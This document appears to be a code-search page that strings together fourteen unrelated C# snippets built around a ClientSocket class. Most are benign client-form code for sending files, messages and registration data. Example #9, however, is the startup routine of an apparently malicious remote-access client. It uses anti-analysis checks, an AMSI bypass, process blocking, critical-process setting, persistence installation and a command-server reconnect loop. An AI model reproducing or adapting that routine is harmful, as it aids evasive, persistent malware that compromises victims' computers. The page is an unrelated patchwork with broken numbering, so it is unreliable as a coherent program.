Exemple #1
0
        // Send a File to the Server!
        private void buttonSendFile_Click(object sender, EventArgs e)
        {
            try
            {
                IPAddress ipadd;
                if (IPAddress.TryParse(textIp.Text, out ipadd))
                {
                    _ipaddress = textIp.Text;
                    _portnumber = uint.Parse(textPort.Text);
                    ClientSocket c = new ClientSocket(_ipaddress, _portnumber);

                    if(_file.Length == 0)
                    {
                        MessageBox.Show("Please select a file to send first");
                        return;
                    }

                    c.SendFile(_directory + "\\" + _file, _file);

                }
                else
                    MessageBox.Show("Not a valid IP Address");

                MessageBox.Show("File has been sent to the server", "Success", MessageBoxButtons.OK);
            }
            catch (System.FormatException ex)
            {
                MessageBox.Show("Not a valid Port Number", ex.Message, MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message, "Send Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }
Exemple #2
0
 public ClientForm()
 {
     InitializeComponent();
     CheckForIllegalCrossThreadCalls = false;
     client = new ClientSocket(this);
     queue = new Queue<string>();
     client.Connect();
 }
        private void dk_Click(object sender, EventArgs e)
        {
            string       gt;
            ClientSocket tcp_Client = new ClientSocket();

            tcp_Client.initTCPClient("localhost", 20000);
            tcp_Client.connectToServer();

            if (this.gtNam.Checked == true)
            {
                gt = "Nam";
            }
            else
            {
                gt = "Nu";
            }

            string str = "dangki" + "," + ten.Text + "," + matkhau.Text + "," + gt;

            tcp_Client.sendData(str);
            string result = tcp_Client.receiveData();

            //MessageBox.Show(result);
            if (int.Parse(result) == 0)
            {
                MessageBox.Show("Đăng kí thành công!");
                DangNhap dn = new DangNhap();
                dn.Show();
                this.Close();
            }
            else
            {
                MessageBox.Show("Tên đăng nhập đã được sử dụng!\nVui lòng chọn lại tên khác.");
                tcp_Client.closeConnection();
            }
        }
Exemple #4
0
 public void SetTab(ClientSocket cliSock, string proName)
 {
     this.cSock         = cliSock;
     this.sharedProject = proName;
     nameLabel.Text     = "Project Name: " + this.sharedProject;
 }
Exemple #5
0
 private void Form1_Load(object sender, EventArgs e)
 {
     this.ip    = "169.254.246.94";
     this.port  = 2230;
     this.cSock = new ClientSocket(this.ip, this.port);
 }
Exemple #6
0
 public void Set_Tab(ClientSocket cliSock)
 {
     this.cSock   = cliSock;
     userBox.text = "";
     this.ParentF = (MainForm)this.ParentForm;
 }
Exemple #7
0
 public NewProjectForm(ClientSocket cSock)
 {
     InitializeComponent();
     this.cSock = cSock;
 }
Exemple #8
0
 private void OnPacket(ClientSocket client, byte[] buffer) => PacketRouter.Route((Client)client.StateObject, buffer);
Exemple #9
0
        public static void Main()
        {
            for (int i = 0; i < Convert.ToInt32(Settings.De_lay); i++)
            {
                Thread.Sleep(1000);
            }

            if (!Settings.InitializeSettings())
            {
                Environment.Exit(0);
            }
            try
            {
                if (Convert.ToBoolean(Settings.An_ti)) //run anti-virtual environment
                {
                    Anti_Analysis.RunAntiAnalysis();
                }
            }
            catch { }
            A.B();//Amsi Bypass
            try
            {
                if (!MutexControl.CreateMutex()) //if current payload is a duplicate
                {
                    Environment.Exit(0);
                }
            }
            catch { }
            try
            {
                if (Convert.ToBoolean(Settings.Anti_Process)) //run AntiProcess
                {
                    AntiProcess.StartBlock();
                }
            }
            catch { }
            try
            {
                if (Convert.ToBoolean(Settings.BS_OD) && Methods.IsAdmin()) //active critical process
                {
                    ProcessCritical.Set();
                }
            }
            catch { }
            try
            {
                if (Convert.ToBoolean(Settings.In_stall)) //drop payload [persistence]
                {
                    NormalStartup.Install();
                }
            }
            catch { }
            Methods.PreventSleep(); //prevent pc to idle\sleep
            try
            {
                if (Methods.IsAdmin())
                {
                    Methods.ClearSetting();
                }
            }
            catch { }

            while (true) // ~ loop to check socket status
            {
                try
                {
                    if (!ClientSocket.IsConnected)
                    {
                        ClientSocket.Reconnect();
                        ClientSocket.InitializeClient();
                    }
                }
                catch { }
                Thread.Sleep(5000);
            }
        }
Exemple #10
0
 static void Main(string[] args)
 {
     ClientSocket.CreateSocket();
 }
Exemple #11
0
        static void Main(string[] args)
        {
            var client = new ClientSocket("127.0.0.1", 4444);

            client.Send("Paint");
        }
Exemple #12
0
        /// <summary>
        /// This method is one of the delegates sent to CreateOrJoin, it's call means the user wants to join a spreadsheet.
        /// </summary>
        /// <param name="IPaddress"></param>
        /// <param name="port"></param>
        /// <param name="ssName"></param>
        /// <param name="psword"></param>
        private void JoinDelegate(string IPaddress, string port, string ssName, string psword)
        {
            if (this.IsHandleCreated)
            {
                this.Invoke((MethodInvoker)delegate
                    {
                        int num = 0;
                        if (Int32.TryParse(port, out num))
                        {
                            if (!ReferenceEquals(clientCommunication, null))
                                clientCommunication.Leave();
                            spreadsheet = new Spreadsheet(s => Regex.IsMatch(s, @"^[a-zA-Z]{1}[0-9]{1,2}$"), s => s.ToUpper(), "ps6");
                            clientCommunication = new ClientSocket(IPaddress, changeCell, Update, num, this.SendXML);
                            EmptySSPanel();
                            clientCommunication.JoinSpreadsheet(ssName, psword);
                            refreshSpreadsheet();

                        }
                    });
            }
        }
Exemple #13
0
 public void Set_Tab(ClientSocket cliSock, string projects)
 {
     this.cSock    = cliSock;
     this.projects = projects;
 }
Exemple #14
0
        // Send a Message to the Server!
        private void buttonSend_Click(object sender, EventArgs e)
        {
            try {

                IPAddress ipadd;

                if (IPAddress.TryParse(textIp.Text, out ipadd)) {
                    _ipaddress = textIp.Text;
                    _portnumber = uint.Parse(textPort.Text);
                    ClientSocket c = new ClientSocket(_ipaddress, _portnumber);
                    if(textBoxMessage.Text.Length != 0) {
                        String returnMessage = c.SendMessage(textBoxMessage.Text);
                        MessageBox.Show("Attempting to Send Message\nServer Response: " + returnMessage, "Send Message To Server", MessageBoxButtons.OK);
                    }
                    else
                        MessageBox.Show("Please enter some text to send", "Warning", MessageBoxButtons.OK);
                }

                else
                    MessageBox.Show("Not a valid IP Address");

            }
            catch(System.FormatException ex)
            {
                MessageBox.Show("Not a valid Port Number", ex.Message, MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
            catch(Exception ex){
                MessageBox.Show(ex.Message, "Send Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }